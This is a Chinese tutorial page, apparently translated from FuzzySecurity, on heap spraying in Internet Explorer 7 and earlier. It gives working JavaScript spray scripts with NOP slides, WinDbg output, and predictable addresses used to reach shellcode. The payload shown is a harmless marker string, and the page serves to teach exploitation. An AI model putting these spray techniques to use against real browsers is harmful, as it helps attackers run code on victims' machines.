返回介绍

喷射 shellcode 块

发布于 2025-01-03 23:32:54 字数 13927 浏览 0 评论 0 收藏

之前提到,堆喷射是一种 payload 传递技术,它充分利用了 javascript 的特性. 先让我们在堆上分配一些简单字符串。

<html>
<body>
<script language='javascript'>
 
  var myvar = unescape(   
  '%u7546%u7a7a%u5379'+   // ASCII   
  '%u6365%u7275%u7469'+   // FuzzySecurity   
  '%u9079');        // 
 
  alert("allocation done");
 
</script>
</body>
</html>

下图可以看到我们成功在堆上分配 ASCII 字符串. 记得用 unescape 否则我们的字符串将会是 UNICODE.

s -a 0x00000000 L?7fffffff "FuzzySecurity"
d 032e3fdc

目前为止还不错,但记住我们的目标是在堆上连续的分配 NOP+Shellcode 块. 稍微改变一下 JS 脚本如下:

<html>
<body>
<script language='javascript'>
  
  size = 0x3E8;  // 1000-bytes
  NopSlide = ''; // Initially set to be empty
  
  var Shellcode = unescape(   
  '%u7546%u7a7a%u5379'+   // ASCII   
  '%u6365%u7275%u7469'+   // FuzzySecurity   
  '%u9079');        // 
   
  // Keep filling with nops till we reach 1000-bytes
  for (c = 0; c < size; c++){ 
  NopSlide += unescape('%u9090%u9090');}
  // Subtract size of shelccode
  NopSlide = NopSlide.substring(0,size - Shellcode.length);
   
  // Spray our payload 50 times
  var memory = new Array();
  for (i = 0; i < 50; i++){
  memory[i] = NopSlide + Shellcode;}
  
  alert("allocation done");
  
</script>
</body>
</html>

本质上来讲我们正在创建一个 1000 字节 payload 块,重复 51 次. 下面是块的结构:

"\x90"*(1000-len(shellcode)) + shellcode

是时候用 Windbg 观察分配的情况了. 下面是 51 个 ASCII 字符串分配结果. 如果跟踪字符串的分配你会注意到开始的时候分配存在空隙,但是到后面的话基本上就是连续的。

0:013> s -a 0x00000000 L?7fffffff "FuzzySecurity"
02a4b03e  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
02a4b846  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
02a4c04e  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
[...Snip...]
0312e0f6  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
0312f0fe  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03130106  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...

Looking at 02a4c04e we can see the alignment is not perfect as there are allot
of junk bytes between blocks:

0:013> d 02a4c04e
02a4c04e  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
02a4c05e  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
02a4c06e  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
02a4c07e  00 00 00 00 00 00 00 00-00 00 59 c0 48 e8 00 01  ..........Y.H...
02a4c08e  28 ff d0 07 00 00 90 90-90 90 90 90 90 90 90 90  (...............
02a4c09e  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
02a4c0ae  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
02a4c0be  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

However if we start from the last block and look back in steps of 1000-bytes we
can see the allocations look pretty good!

0:013> d 03130106-20
031300e6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
031300f6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130106  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03130116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:013> d 03130106-20-1000
0312f0e6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f0f6  90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63  ........FuzzySec
0312f106  75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90  urity...........
0312f116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:013> d 03130106-20-2000
0312e0e6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e0f6  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
0312e106  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:013> d 03130106-20-3000
0312d0e6  90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63  ........FuzzySec
0312d0f6  75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90  urity...........
0312d106  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

很好,不可否认的是我们很幸运得到连续的分配. 接下来需要做什么呢。

(1) 分配更多的数据填充更多的堆空间(覆写更高的内存地址)

(2) 改变块大小以适应 BSTR 对象,是分配更稳定和连续

下面是最终的堆喷射脚本(公开的漏洞利用脚本), 在所有 IE7 以下的版本测试结果一致。

<html>
<body>
<script language='javascript'>
 
  var Shellcode = unescape(   
  '%u7546%u7a7a%u5379'+   // ASCII 
  '%u6365%u7275%u7469'+   // FuzzySecurity   
  '%u9079');        //    
  
  var NopSlide = unescape('%u9090%u9090');
   
  var headersize = 20;
  var slack = headersize + Shellcode.length;
   
  while (NopSlide.length < slack) NopSlide += NopSlide;
  var filler = NopSlide.substring(0,slack);
  var chunk = NopSlide.substring(0,NopSlide.length - slack);
   
  while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
  var memory = new Array();
  for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode }
   
  alert("allocation done");
 
</script>
</body>
</html>

这个脚本喷射更大的内存块 0x4000(=262144 字节=0.25mb), 重复喷喷射 500 次(=125mb). 考虑到我们的 shellcode 不太会大于 1000 字节,这意味着我们有 99.997%的概率命中 NOP’s. 这样使得堆喷射更稳定. 让我们在 Windbg 观察堆喷射:

0:014> s -a 0x00000000 L?7fffffff "FuzzySecurity"
02a34010  46 75 7a 7a 79 53 65 63-75 72 69 74 79 0d 0a 20  FuzzySecurity.. 
030ca75c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03b4ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03c6ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03cfffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03d8ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03e1ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03eaffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03f3ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
[...Snip...]
1521ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
152affee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
1533ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
153cffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
1545ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
154effee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
1557ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...

!peb 看看默认的进程堆是哪个 (我们分配的字符串将会保存在默认进程堆).

另外你可以执行"!heap -stat" 看看已经提交的字节数

0:014> !peb
PEB at 7ffd8000
  InheritedAddressSpace:  No
  ReadImageFileExecOptions: No
  BeingDebugged:      Yes
  ImageBaseAddress:     00400000
  Ldr             00251e90
  Ldr.Initialized:      Yes
  Ldr.InInitializationOrderModuleList: 00251f28 . 002557d8
  Ldr.InLoadOrderModuleList:       00251ec0 . 00255918
  Ldr.InMemoryOrderModuleList:     00251ec8 . 00255920
      Base TimeStamp           Module
      400000 46c108d9 Aug 14 09:43:53 2007 C:\Program Files\Utilu IE Collection\IE700\iexplore.exe
    7c900000 4d00f29d Dec 09 23:15:41 2010 C:\WINDOWS\system32\ntdll.dll
    7c800000 49c4f2bb Mar 21 21:59:23 2009 C:\WINDOWS\system32\kernel32.dll
    77dd0000 49900be3 Feb 09 18:56:35 2009 C:\WINDOWS\system32\ADVAPI32.dll
    77e70000 4c68fa30 Aug 16 16:43:28 2010 C:\WINDOWS\system32\RPCRT4.dll
[...Snip...]
    767f0000 4c2b375b Jun 30 20:23:55 2010 C:\WINDOWS\system32\schannel.dll
    77c70000 4aaa5b06 Sep 11 22:13:26 2009 C:\WINDOWS\system32\msv1_0.dll
    76790000 4802a0d9 Apr 14 08:10:01 2008 C:\WINDOWS\system32\cryptdll.dll
    76d60000 4802a0d0 Apr 14 08:09:52 2008 C:\WINDOWS\system32\iphlpapi.dll
  SubSystemData:   00000000
  ProcessHeap:     00150000
  ProcessParameters: 00020000
  CurrentDirectory:  'C:\Documents and Settings\Administrator\Desktop\'
  WindowTitle:  'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe'
  ImageFile:  'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe'
  CommandLine:  'about:home'
[...Snip...]

让我们打印堆分配数据. 我们可以看到

98.63% 堆块正在使用

0:014> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
  size   #blocks   total   ( %) (percent of total busy bytes)
  7ffe0 1f4 - f9fc180  (98.63)
  3fff8 3 - bffe8  (0.30)
  1fff8 4 - 7ffe0  (0.20)
  7ffd0 1 - 7ffd0  (0.20)
  7ff8 b - 57fa8  (0.14)
  fff8 5 - 4ffd8  (0.12)
  1ff8 21 - 41ef8  (0.10)
  3ff8 d - 33f98  (0.08)
  ff8 f - ef88  (0.02)
  7f8 18 - bf40  (0.02)
  8fc1 1 - 8fc1  (0.01)
  7fe0 1 - 7fe0  (0.01)
  7fd0 1 - 7fd0  (0.01)
  7db4 1 - 7db4  (0.01)
  614 14 - 7990  (0.01)
  57e0 1 - 57e0  (0.01)
  20 208 - 4100  (0.01)
  5e4 b - 40cc  (0.01)
  4e4 c - 3ab0  (0.01)
  3980 1 - 3980  (0.01)
  
我们列出大小为 0x7ffe0 的块
0:014> !heap -flt s 7ffe0
  _HEAP @ 150000
    HEAP_ENTRY Size Prev Flags  UserPtr UserSize - state
    03ad0018 fffc 0000  [0b]   03ad0020  7ffe0 - (busy VirtualAlloc)
    03bf0018 fffc fffc  [0b]   03bf0020  7ffe0 - (busy VirtualAlloc)
    03c80018 fffc fffc  [0b]   03c80020  7ffe0 - (busy VirtualAlloc)
    03d10018 fffc fffc  [0b]   03d10020  7ffe0 - (busy VirtualAlloc)
    03da0018 fffc fffc  [0b]   03da0020  7ffe0 - (busy VirtualAlloc)
    03e30018 fffc fffc  [0b]   03e30020  7ffe0 - (busy VirtualAlloc)
    03ec0018 fffc fffc  [0b]   03ec0020  7ffe0 - (busy VirtualAlloc)
    03f50018 fffc fffc  [0b]   03f50020  7ffe0 - (busy VirtualAlloc)
[...Snip...]
    15110018 fffc fffc  [0b]   15110020  7ffe0 - (busy VirtualAlloc)
    151a0018 fffc fffc  [0b]   151a0020  7ffe0 - (busy VirtualAlloc)
    15230018 fffc fffc  [0b]   15230020  7ffe0 - (busy VirtualAlloc)
    152c0018 fffc fffc  [0b]   152c0020  7ffe0 - (busy VirtualAlloc)
    15350018 fffc fffc  [0b]   15350020  7ffe0 - (busy VirtualAlloc)
    153e0018 fffc fffc  [0b]   153e0020  7ffe0 - (busy VirtualAlloc)
    15470018 fffc fffc  [0b]   15470020  7ffe0 - (busy VirtualAlloc)
    15500018 fffc fffc  [0b]   15500020  7ffe0 - (busy VirtualAlloc)

现在你可能会问告诉你自己:”这很酷,但是有什么意义呢?”. 一般上如果我们有写任意 4 字节漏洞. 为了可靠,我们从来不会用 shellcode 地址直接覆写指针(例如 EIP). 在堆喷射中我们可以决定堆布局. 我们可以在堆中布置 NOP’s+shellcode 块. 由于某个可预测的地址会指向 NOP’s, 所以我们可以用这个地址去覆写,一旦程序能执行 到 NOP’s, shellcode 也会得到执行. 下面是通常我们使用的可预测地址,在调试器看看这些地址的内容。

可预测的地址:

- 0x05050505
- 0x06060606
- 0x07070707
- ....

另外一个具有特殊意义的地址是 0x0c0c0c0c, 第二部分将会解释。

0:014> d 04040404
04040404  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040414  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040424  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040434  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040444  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040454  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040464  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040474  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:014> d 05050505
05050505  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050515  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050525  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050535  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050545  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050555  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050565  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050575  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:014> d 06060606
06060606  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060616  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060626  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060636  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060646  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060656  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060666  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060676  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

再次重申第一部分只讲典型的堆喷射,精确喷射会在第二部分将. 为什么需要精确喷射?

(1) 我们需要处理 DEP

(2) 我们正在利用 UAF 类漏洞

所有的准备工作完成,是时候弹 shell 了。

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。